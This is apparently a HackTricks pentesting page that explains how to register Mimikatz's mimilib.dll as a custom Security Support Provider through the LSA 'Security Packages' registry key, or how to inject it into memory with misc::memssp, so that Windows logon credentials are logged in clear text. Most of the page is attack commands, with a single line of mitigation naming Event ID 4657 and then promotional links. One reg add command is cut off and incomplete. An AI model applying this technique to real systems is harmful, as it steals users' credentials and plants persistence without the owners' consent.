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# Custom SSP
[Learn what is a SSP (Security Support Provider) here.](../authentication-credentials-uac-and-efs.md#security-support-provider-interface-sspi)\
You can create you **own SSP** to **capture** in **clear text** the **credentials** used to access the machine.
### Mimilib
You can use the `mimilib.dll` binary provided by Mimikatz. **This will log inside a file all the credentials in clear text.**\
Drop the dll in `C:\Windows\System32\`\
Get a list existing LSA Security Packages:
{% code title="attacker@target" %}
```bash
PS C:\> reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa
Security Packages REG_MULTI_SZ kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u
```
{% endcode %}
Add `mimilib.dll` to the Security Support Provider list (Security Packages):
```csharp
PS C:\> reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages"
```
And after a reboot all credentials can be found in clear text in `C:\Windows\System32\kiwissp.log`
### In memory
You can also inject this in memory directly using Mimikatz (notice that it could be a little bit unstable/not working):
```csharp
privilege::debug
misc::memssp
```
This won't survive reboots.
## Mitigation
Event ID 4657 - Audit creation/change of `HKLM:\System\CurrentControlSet\Control\Lsa\SecurityPackages`
HackTricks in 🐦 Twitter 🐦 - 🎙️ Twitch Wed - 18.30(UTC) 🎙️ - 🎥 Youtube 🎥
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.